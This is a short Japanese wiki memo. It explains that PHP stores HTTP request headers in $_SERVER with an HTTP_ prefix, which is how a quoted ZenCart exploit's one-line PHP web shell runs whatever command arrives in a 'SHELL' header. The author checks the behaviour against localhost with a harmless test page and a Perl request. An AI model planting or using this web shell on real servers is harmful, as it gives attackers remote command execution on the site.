無料Wikiサービス | デモページ
Linuxなどのメモ書き

PHP $_SERVER["HTTP_SHELL"] ??


ZenCartの脆弱性を突く攻撃で、以下のようなファイルをアップロードして、任意のコードを実行するというExploit Codeがあったが、そもそもHTTP_SHELLってリファレンスにも載っていないけどなんだろうと思ったら、HTTP Requestのヘッダの内容は"HTTP_"のプレフィクスを付けて$_SERVERに設定されるらしい。

<?php system($_SERVER["HTTP_SHELL"]); ?> 

試しに以下のtest.phpを置いて、
test.php
<?php print_r($_SERVER); ?>
以下のようにSHELLヘッダを付けてRequestしてみると、、
#!/usr/bin/perl
use strict;
use warnings;

use LWP;

my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => 'http://localhost/test.php');
$req->header("SHELL" => "ls -l" );
my $res = $ua->request($req);
if ($res->is_success) {
    print $res->content;
} else {
    print $res->status_line, "\n";
}

$_SERVER["HTTP_SHELL"]が設定されていた。

# perl req.pl
Array
(
    [HTTP_TE] => deflate,gzip;q=0.3
    [HTTP_CONNECTION] => TE, close
    [HTTP_HOST] => localhost
    [HTTP_USER_AGENT] => libwww-perl/5.803
    [HTTP_SHELL] => ls -l
    [PATH] => /sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin
:
略

最終更新 2009/09/03 17:12:51 - kztomita
(2009/09/03 17:11:11 作成)